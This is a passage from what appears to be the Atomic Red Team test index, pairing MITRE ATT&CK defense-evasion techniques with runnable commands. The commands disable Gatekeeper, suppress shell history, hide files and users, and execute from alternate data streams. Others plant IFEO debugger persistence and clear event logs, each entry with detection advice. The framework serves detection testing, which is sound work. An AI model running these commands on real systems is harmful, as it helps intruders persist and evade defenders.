Path of the file or folder remove attribute. + type: path + default: PathToAtomicsFolder\T1222 + executor: + name: command_prompt + command: 'attrib.exe -r #{file_or_folder} + + ' + - name: chmod - Change file or folder mode (numeric mode) + description: 'Changes a file or folder''s permissions using chmod and a specified + numeric mode. + + ' + supported_platforms: + - macos + - linux + input_arguments: + file_or_folder: + description: Path of the file or folder + type: path + default: "/tmp/AtomicRedTeam/atomics/T1222" + numeric_mode: + description: Specified numeric mode value + type: string + default: 755 + executor: + name: bash + command: 'chmod #{numeric_mode} #{file_or_folder} + + ' + - name: chmod - Change file or folder mode (symbolic mode) + description: 'Changes a file or folder''s permissions using chmod and a specified + symbolic mode. + + ' + supported_platforms: + - macos + - linux + input_arguments: + file_or_folder: + description: Path of the file or folder + type: path + default: "/tmp/AtomicRedTeam/atomics/T1222" + symbolic_mode: + description: Specified symbolic mode value + type: string + default: a+w + executor: + name: bash + command: 'chmod #{symbolic_mode} #{file_or_folder} + + ' + - name: chmod - Change file or folder mode (numeric mode) recursively + description: 'Changes a file or folder''s permissions recursively using chmod + and a specified numeric mode. + + ' + supported_platforms: + - macos + - linux + input_arguments: + file_or_folder: + description: Path of the file or folder + type: path + default: "/tmp/AtomicRedTeam/atomics/T1222" + numeric_mode: + description: Specified numeric mode value + type: string + default: 755 + executor: + name: bash + command: 'chmod #{numeric_mode} #{file_or_folder} -R + + ' + - name: chmod - Change file or folder mode (symbolic mode) recursively + description: 'Changes a file or folder''s permissions recursively using chmod + and a specified symbolic mode. + + ' + supported_platforms: + - macos + - linux + input_arguments: + file_or_folder: + description: Path of the file or folder + type: path + default: "/tmp/AtomicRedTeam/atomics/T1222" + symbolic_mode: + description: Specified symbolic mode value + type: string + default: a+w + executor: + name: bash + command: 'chmod #{symbolic_mode} #{file_or_folder} -R + + ' + - name: chown - Change file or folder ownership and group + description: 'Changes a file or folder''s ownership and group information using + chown. + + ' + supported_platforms: + - macos + - linux + input_arguments: + file_or_folder: + description: Path of the file or folder + type: path + default: "/tmp/AtomicRedTeam/atomics/T1222/T1222.yaml" + owner: + description: Username of desired owner + type: string + default: root + group: + description: Group name of desired group + type: string + default: root + executor: + name: bash + command: 'chown #{owner}:#{group} #{file_or_folder} + + ' + - name: chown - Change file or folder ownership and group recursively + description: 'Changes a file or folder''s ownership and group information recursively + using chown. + + ' + supported_platforms: + - macos + - linux + input_arguments: + file_or_folder: + description: Path of the file or folder + type: path + default: "/tmp/AtomicRedTeam/atomics/T1222" + owner: + description: Username of desired owner + type: string + default: root + group: + description: Group name of desired group + type: string + default: root + executor: + name: bash + command: 'chown #{owner}:#{group} #{file_or_folder} -R + + ' + - name: chown - Change file or folder mode ownership only + description: 'Changes a file or folder''s ownership only using chown. + + ' + supported_platforms: + - macos + - linux + input_arguments: + file_or_folder: + description: Path of the file or folder + type: path + default: "/tmp/AtomicRedTeam/atomics/T1222/T1222.yaml" + owner: + description: Username of desired owner + type: string + default: root + executor: + name: bash + command: 'chown #{owner} #{file_or_folder} + + ' + - name: chown - Change file or folder ownership recursively + description: 'Changes a file or folder''s ownership only recursively using chown. + + ' + supported_platforms: + - macos + - linux + input_arguments: + file_or_folder: + description: Path of the file or folder + type: path + default: "/tmp/AtomicRedTeam/atomics/T1222" + owner: + description: Username of desired owner + type: string + default: root + executor: + name: bash + command: 'chown #{owner} #{file_or_folder} -R + + ' + - name: chattr - Remove immutable file attribute + description: | + Remove's a file's `immutable` attribute using `chattr`. + This technique was used by the threat actor Rocke during the compromise of Linux web servers. + supported_platforms: + - macos + - linux + input_arguments: + file_to_modify: + description: Path of the file + type: path + default: "/var/spool/cron/root" + executor: + name: sh + command: 'chattr -i #{file_to_modify} + + ' + T1144: + technique: + x_mitre_permissions_required: + - User + - Administrator + x_mitre_data_sources: + - File monitoring + - Process command-line parameters + name: Gatekeeper Bypass + description: "In macOS and OS X, when applications or programs are downloaded + from the internet, there is a special attribute set on the file called com.apple.quarantine. + This attribute is read by Apple's Gatekeeper defense program at execution + time and provides a prompt to the user to allow or deny execution. \n\nApps + loaded onto the system from USB flash drive, optical disk, external hard drive, + or even from a drive shared over the local network won’t set this flag. Additionally, + other utilities or events like drive-by downloads don’t necessarily set it + either. This completely bypasses the built-in Gatekeeper check. (Citation: + Methods of Mac Malware Persistence) The presence of the quarantine flag can + be checked by the xattr command xattr /path/to/MyApp.app for + com.apple.quarantine. Similarly, given sudo access or elevated + permission, this attribute can be removed with xattr as well, sudo xattr + -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing + quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, + a file will be downloaded from the internet and given a quarantine flag before + being saved to disk. When the user tries to open the file or application, + macOS’s gatekeeper will step in and check for the presence of this flag. If + it exists, then macOS will then prompt the user to confirmation that they + want to run the program and will even provide the URL where the application + came from. However, this is all based on the file being downloaded from a + quarantine-savvy application. (Citation: Bypassing Gatekeeper)" + id: attack-pattern--6fb6408c-0db3-41d9-a3a1-a32e5f16454e + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: Monitoring for the removal of the com.apple.quarantine + flag by a user instead of the operating system is a suspicious action and + should be examined further. Monitor and investigate attempts to modify extended + file attributes with utilities such as xattr. Built-in system + utilities may generate high false positive alerts, so compare against baseline + knowledge for how systems are typically used and correlate modification events + with other indications of malicious activity where possible. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-06-25T14:44:15.142Z' + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1144 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1144 + - description: Patrick Wardle. (2014, September). Methods of Malware Persistence + on Mac OS X. Retrieved July 5, 2017. + source_name: Methods of Mac Malware Persistence + url: https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf + - source_name: Clearing quarantine attribute + description: Rich Trouton. (2012, November 20). Clearing the quarantine extended + attribute from downloaded applications. Retrieved July 5, 2017. + url: https://derflounder.wordpress.com/2012/11/20/clearing-the-quarantine-extended-attribute-from-downloaded-applications/ + - source_name: OceanLotus for OS X + description: Eddie Lee. (2016, February 17). OceanLotus for OS X - an Application + Bundle Pretending to be an Adobe Flash Update. Retrieved July 5, 2017. + url: https://www.alienvault.com/blogs/labs-research/oceanlotus-for-os-x-an-application-bundle-pretending-to-be-an-adobe-flash-update + - source_name: Bypassing Gatekeeper + description: Thomas Reed. (2016, March 31). Bypassing Apple's Gatekeeper. + Retrieved July 5, 2017. + url: https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/ + x_mitre_defense_bypassed: + - Application whitelisting + - Anti-virus + identifier: T1144 + atomic_tests: + - name: Gatekeeper Bypass + description: 'Gatekeeper Bypass via command line + + ' + supported_platforms: + - macos + input_arguments: + app_path: + description: Path to app to be used + type: Path + default: myapp.app + executor: + name: sh + command: | + sudo xattr -r -d com.apple.quarantine #{app_path} + sudo spctl --master-disable + T1148: + technique: + x_mitre_data_sources: + - Process monitoring + - Authentication logs + - File monitoring + - Environment variable + x_mitre_permissions_required: + - User + name: HISTCONTROL + description: The HISTCONTROL environment variable keeps track of + what should be saved by the history command and eventually into + the ~/.bash_history file when a user logs out. This setting can + be configured to ignore commands that start with a space by simply setting + it to "ignorespace". HISTCONTROL can also be set to ignore duplicate + commands by setting it to "ignoredups". In some Linux systems, this is set + by default to "ignoreboth" which covers both of the previous examples. This + means that “ ls” will not be saved, but “ls” would be saved by history. HISTCONTROL + does not exist by default on macOS, but can be set by the user and will be + respected. Adversaries can use this to operate without leaving traces by simply + prepending a space to all of their terminal commands. + id: attack-pattern--086952c4-5b90-4185-b573-02bad8e11953 + x_mitre_platforms: + - Linux + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: Correlating a user session with a distinct lack of new commands + in their .bash_history can be a clue to suspicious behavior. + Additionally, users checking or changing their HISTCONTROL environment + variable is also suspicious. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + modified: '2019-06-25T14:23:11.141Z' + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1148 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1148 + x_mitre_defense_bypassed: + - Log analysis + - Host forensic analysis + identifier: T1148 + atomic_tests: + - name: Disable history collection + description: 'Disables history collection in shells + + ' + supported_platforms: + - linux + - macos + input_arguments: + evil_command: + description: Command to run after shell history collection is disabled + type: String + default: whoami + executor: + name: sh + command: | + export HISTCONTROL=ignoreboth + ls #{evil_command} + - name: Mac HISTCONTROL + description: '' + supported_platforms: + - macos + - linux + executor: + name: manual + steps: | + 1. export HISTCONTROL=ignoreboth + 2. echo export "HISTCONTROL=ignoreboth" >> ~/.bash_profile + 3. ls + 4. whoami > recon.txt + T1158: + technique: + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + x_mitre_permissions_required: + - User + name: Hidden Files and Directories + description: |- + To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (dir /a for Windows and ls –a for Linux and macOS). + + Adversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files. + + ### Windows + + Users can mark specific files as hidden by using the attrib.exe binary. Simply do attrib +h filename to mark a file or folder as hidden. Similarly, the “+s” marks a file as a system file and the “+r” flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively “/S”. + + ### Linux/Mac + + Users can mark specific files as hidden simply by putting a “.” as the first character in the file or folder name (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, ‘.’, are by default hidden from being viewed in the Finder application and standard command-line utilities like “ls”. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: defaults write com.apple.finder AppleShowAllFiles YES, and then relaunch the Finder Application. + + ### Mac + + Files on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). + Many applications create these hidden files and folders to store information so that it doesn’t clutter up the user’s workspace. For example, SSH utilities create a .ssh folder that’s hidden and contains the user’s known hosts and keys. + id: attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93 + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + - kill_chain_name: mitre-attack + phase_name: persistence + x_mitre_detection: Monitor the file system and shell commands for files being + created with a leading "." and the Windows command-line use of attrib.exe + to add the hidden attribute. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + modified: '2018-10-31T13:45:13.024Z' + external_references: + - external_id: T1158 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1158 + - description: Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). + Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017. + source_name: Sofacy Komplex Trojan + url: https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ + - description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated + code. Retrieved July 5, 2017. + source_name: Antiquated Mac Malware + url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ + - description: 'Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. + Retrieved July 10, 2017.' + source_name: WireLurker + url: https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf + x_mitre_defense_bypassed: + - Host forensic analysis + identifier: T1158 + atomic_tests: + - name: Create a hidden file in a hidden directory + description: 'Creates a hidden file inside a hidden directory + + ' + supported_platforms: + - linux + - macos + executor: + name: sh + elevation_required: false + command: | + mkdir /var/tmp/.hidden-directory + echo "T1158" > /var/tmp/.hidden-directory/.hidden-file + cleanup_command: 'rm -rf /var/tmp/.hidden-directory/ + + ' + - name: Mac Hidden file + description: 'Hide a file on MacOS + + ' + supported_platforms: + - macos + executor: + name: sh + elevation_required: false + command: 'xattr -lr * / 2>&1 /dev/null | grep -C 2 "00 00 00 00 00 00 00 00 + 40 00 FF FF FF FF 00 00" + + ' + - name: Create Windows System File with Attrib + description: 'Creates a file and marks it as a system file using the attrib.exe + utility. + + ' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: true + command: | + echo T1158 > %TEMP%\T1158.txt + attrib.exe +s %TEMP%\T1158.txt + cleanup_command: 'del /A:S %TEMP%\T1158.txt >nul 2>&1 + + ' + - name: Create Windows Hidden File with Attrib + description: 'Creates a file and marks it as hidden using the attrib.exe utility. + + ' + supported_platforms: + - windows + executor: + name: command_prompt + elevation_required: false + command: | + echo T1158_hidden > %TEMP%\T1158_hidden.txt + attrib.exe +h %TEMP%\T1158_hidden.txt + cleanup_command: 'del /A:H %TEMP%\T1158_hidden.txt >nul 2>&1 + + ' + - name: Hidden files + description: 'Requires Apple Dev Tools + + ' + supported_platforms: + - macos + input_arguments: + filename: + description: path of file to hide + type: path + default: "/tmp/evil" + executor: + name: sh + elevation_required: false + command: 'setfile -a V #{filename} + + ' + - name: Hide a Directory + description: 'Hide a directory on MacOS + + ' + supported_platforms: + - macos + executor: + name: sh + elevation_required: false + command: | + touch /var/tmp/T1158_mac.txt + chflags hidden /var/tmp/T1158_mac.txt + cleanup_command: 'rm /var/tmp/T1158_mac.txt + + ' + - name: Show all hidden files + description: 'Show all hidden files on MacOS + + ' + supported_platforms: + - macos + executor: + name: sh + elevation_required: false + command: 'defaults write com.apple.finder AppleShowAllFiles YES + + ' + cleanup_command: 'defaults write com.apple.finder AppleShowAllFiles NO + + ' + - name: Create ADS command prompt + description: 'Create an Alternate Data Stream with the command prompt. Write + access is required. + + ' + supported_platforms: + - windows + input_arguments: + file_name: + description: File name of file to create ADS on. + type: string + default: test.txt + ads_filename: + description: Name of ADS file. + type: string + default: adstest.txt + executor: + name: command_prompt + elevation_required: false + command: | + echo "Normal Text." > #{file_name} + echo cmd /c echo "Shell code execution."> #{file_name}:#{ads_filename} + for /f "usebackq delims=╧å" %i in (#{file_name}:#{ads_filename}) do %i + cleanup_command: 'del #{file_name} >nul 2>&1 + + ' + - name: Create ADS PowerShell + description: 'Create an Alternate Data Stream with PowerShell. Write access + is required. + + ' + supported_platforms: + - windows + input_arguments: + file_name: + description: File name of file to create ADS on. + type: string + default: test.txt + ads_filename: + description: Name of ADS file. + type: string + default: adstest.txt + executor: + name: powershell + elevation_required: false + command: | + echo "test" > #{file_name} | set-content -path test.txt -stream #{ads_filename} -value "test" + set-content -path #{file_name} -stream #{ads_filename} -value "test2" + set-content -path . -stream #{ads_filename} -value "test3" + ls -Recurse | %{ gi $_.Fullname -stream *} | where stream -ne ':$Data' | Select-Object pschildname + cleanup_command: 'Remove-Item -Path #{file_name} -ErrorAction Ignore + + ' + T1147: + technique: + x_mitre_data_sources: + - Authentication logs + - File monitoring + x_mitre_permissions_required: + - Administrator + - root + name: Hidden Users + description: 'Every user account in macOS has a userID associated with it. When + creating a user, you can specify the userID for that account. There is a property + value in /Library/Preferences/com.apple.loginwindow called Hide500Users + that prevents users with userIDs 500 and lower from appearing at the login + screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) + technique with a userID under 500 and enabling this property (setting it to + Yes), an adversary can hide their user accounts much more easily: sudo + dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX + Pirrit).' + id: attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff + x_mitre_platforms: + - macOS + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + x_mitre_detection: This technique prevents the new user from showing up at the + log in screen, but all of the other signs of a new user still exist. The user + still gets a home directory and will appear in the authentication logs. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1147 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1147 + - source_name: Cybereason OSX Pirrit + description: Amit Serper. (2016). Cybereason Lab Analysis OSX.Pirrit. Retrieved + July 8, 2017. + url: https://www2.cybereason.com/research-osx-pirrit-mac-os-x-secuirty + modified: '2019-06-25T14:31:08.274Z' + identifier: T1147 + atomic_tests: + - name: Hidden Users + description: 'Add a hidden user on MacOS + + ' + supported_platforms: + - macos + input_arguments: + user_name: + description: username to add + type: string + default: APT + executor: + name: sh + command: 'sudo dscl . -create /Users/#{user_name} UniqueID 333 + + ' + T1143: + technique: + x_mitre_permissions_required: + - User + x_mitre_data_sources: + - Windows event logs + - PowerShell logs + - Process command-line parameters + - Process monitoring + - File monitoring + name: Hidden Window + description: | + Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system. + + ### Windows + There are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019) + + ### Mac + The configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware) + id: attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf + x_mitre_platforms: + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.1' + type: attack-pattern + x_mitre_detection: Monitor processes and command-line arguments for actions + indicative of hidden windows. In Windows, enable and configure event logging + and PowerShell logging to check for the hidden window style. In MacOS, plist + files are ASCII text files with a specific format, so they're relatively easy + to parse. File monitoring can check for the apple.awt.UIElement + or any other suspicious plist tag in plist files and flag them. + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Travis Smith, Tripwire + created: '2017-12-14T16:46:06.044Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1143 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1143 + - description: Wheeler, S. et al.. (2019, May 1). About PowerShell.exe. Retrieved + October 11, 2019. + source_name: PowerShell About 2019 + url: https://docs.microsoft.com/en-us/powershell/module/Microsoft.PowerShell.Core/About/about_PowerShell_exe?view=powershell-5.1 + - source_name: Antiquated Mac Malware + description: Thomas Reed. (2017, January 18). New Mac backdoor using antiquated + code. Retrieved July 5, 2017. + url: https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/ + modified: '2019-10-15T22:00:58.582Z' + identifier: T1143 + atomic_tests: + - name: Hidden Window + description: | + Launch PowerShell with the "-WindowStyle Hidden" argument to conceal PowerShell windows by setting the WindowStyle parameter to hidden. + Upon execution a hidden PowerShell window will launch calc.exe + supported_platforms: + - windows + input_arguments: + powershell_command: + description: Command to launch calc.exe from a hidden PowerShell Window + type: String + default: powershell.exe -WindowStyle hidden calc.exe + executor: + name: powershell + elevation_required: false + command: 'Start-Process #{powershell_command} + + ' + T1183: + technique: + x_mitre_data_sources: + - Process monitoring + - Windows Registry + - Windows event logs + x_mitre_permissions_required: + - Administrator + - SYSTEM + name: Image File Execution Options Injection + description: |- + Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\dbg\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010) + + IFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\SOFTWARE{\Wow6432Node}\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010) + + IFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) + + An example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018) + + * reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512 + * reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v ReportingMode /t REG_DWORD /d 1 + * reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /d "C:\temp\evil.exe" + + Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Endgame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation. + + Malware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008) + id: attack-pattern--62166220-e498-410f-a90a-19d4339d4e99 + x_mitre_platforms: + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + type: attack-pattern + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: privilege-escalation + - kill_chain_name: mitre-attack + phase_name: persistence + - kill_chain_name: mitre-attack + phase_name: defense-evasion + x_mitre_detection: |- + Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010) + + Monitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Endgame Process Injection July 2017) + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Oddvar Moe, @oddvarmoe + created: '2018-01-16T16:13:52.465Z' + modified: '2018-10-31T13:45:13.024Z' + external_references: + - external_id: T1183 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1183 + - description: Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). + Retrieved December 18, 2017. + source_name: Microsoft Dev Blog IFEO Mar 2010 + url: https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/ + - description: Microsoft. (2017, May 23). GFlags Overview. Retrieved December + 18, 2017. + source_name: Microsoft GFlags Mar 2017 + url: https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview + - description: FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. + Retrieved December 18, 2017. + source_name: FSecure Hupigon + url: https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml + - description: Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December + 18, 2017. + source_name: Symantec Ushedix June 2008 + url: https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2 + - description: Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent + Process Exit. Retrieved June 27, 2018. + source_name: Microsoft Silent Process Exit NOV 2017 + url: https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit + - description: Moe, O. (2018, April 10). Persistence using GlobalFlags in Image + File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018. + source_name: Oddvar Moe IFEO APR 2018 + url: https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/ + - description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: + A Technical Survey Of Common And Trending Process Injection Techniques. + Retrieved December 7, 2017.' + source_name: Endgame Process Injection July 2017 + url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process + x_mitre_defense_bypassed: + - Autoruns Analysis + identifier: T1183 + atomic_tests: + - name: IFEO Add Debugger + description: 'Leverage Global Flags Settings + + ' + supported_platforms: + - windows + input_arguments: + target_binary: + description: Binary To Attach To + type: Path + default: C:\Windows\System32\calc.exe + payload_binary: + description: Binary To Execute + type: Path + default: C:\Windows\System32\cmd.exe + executor: + name: command_prompt + elevation_required: true + command: 'REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image + File Execution Options\#{target_binary}" /v Debugger /d "#{payload_binary}" + + ' + cleanup_command: 'reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image + File Execution Options\#{target_binary}" /v Debugger /f + + ' + - name: IFEO Global Flags + description: 'Leverage Global Flags Settings + + ' + supported_platforms: + - windows + input_arguments: + target_binary: + description: Binary To Attach To + type: Path + default: C:\Windows\System32\notepad.exe + payload_binary: + description: Binary To Execute + type: Path + default: C:\Windows\System32\cmd.exe + executor: + name: command_prompt + elevation_required: true + command: | + REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /t REG_DWORD /d 512 + REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /t REG_DWORD /d 1 + REG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /d "#{payload_binary}" + cleanup_command: | + reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\#{target_binary}" /v GlobalFlag /f + reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v ReportingMode /f + reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\#{target_binary}" /v MonitorProcess /f + T1070: + technique: + x_mitre_data_sources: + - File monitoring + - Process monitoring + - Process command-line parameters + - API monitoring + - Windows event logs + type: attack-pattern + name: Indicator Removal on Host + description: "Adversaries may delete or alter generated artifacts on a host + system, including logs and potentially captured files such as quarantined + malware. Locations and format of logs will vary, but typical organic system + logs are captured as Windows events or Linux/macOS files such as [Bash History](https://attack.mitre.org/techniques/T1139) + and /var/log/* .\n\nActions that interfere with eventing and other notifications + that can be used to detect intrusion activity may compromise the integrity + of security solutions, causing events to go unreported. They may also make + forensic analysis and incident response more difficult due to lack of sufficient + data to determine what occurred.\n\n### Clear Windows Event Logs\n\nWindows + event logs are a record of a computer's alerts and notifications. Microsoft + defines an event as \"any significant occurrence in the system or in a program + that requires users to be notified or an entry added to a log.\" There are + three system-defined sources of Events: System, Application, and Security.\n + \nAdversaries performing actions related to account management, account logon + and directory service access, etc. may choose to clear the events in order + to hide their activities.\n\nThe event logs can be cleared with the following + utility commands:\n\n* wevtutil cl system\n* wevtutil cl + application\n* wevtutil cl security\n\nLogs may also be + cleared through other mechanisms, such as [PowerShell](https://attack.mitre.org/techniques/T1086)." + id: attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69 + modified: '2019-07-18T15:02:36.652Z' + x_mitre_platforms: + - Linux + - macOS + - Windows + object_marking_refs: + - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 + x_mitre_version: '1.0' + x_mitre_system_requirements: + - Clearing the Windows event logs requires Administrator permissions + x_mitre_detection: 'File system monitoring may be used to detect improper deletion + or modification of indicator files. For example, deleting Windows event logs + (via native binaries (Citation: Microsoft wevtutil Oct 2017), API functions + (Citation: Microsoft EventLog.Clear), or [PowerShell](https://attack.mitre.org/techniques/T1086) + (Citation: Microsoft Clear-EventLog)) may generate an alterable event (Event + ID 1102: "The audit log was cleared"). Events not stored on the file system + may require different detection mechanisms.' + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 + x_mitre_contributors: + - Ed Williams, Trustwave, SpiderLabs + created: '2017-05-31T21:30:55.892Z' + kill_chain_phases: + - kill_chain_name: mitre-attack + phase_name: defense-evasion + external_references: + - external_id: T1070 + source_name: mitre-attack + url: https://attack.mitre.org/techniques/T1070 + - source_name: capec + external_id: CAPEC-93 + url: https://capec.mitre.org/data/definitions/93.html + - source_name: Microsoft wevtutil Oct 2017 + description: Plett, C. et al.. (2017, October 16). wevtutil. Retrieved July + 2, 2018. + url: https://docs.microsoft.com/windows-server/administration/windows-commands/wevtutil + - source_name: Microsoft 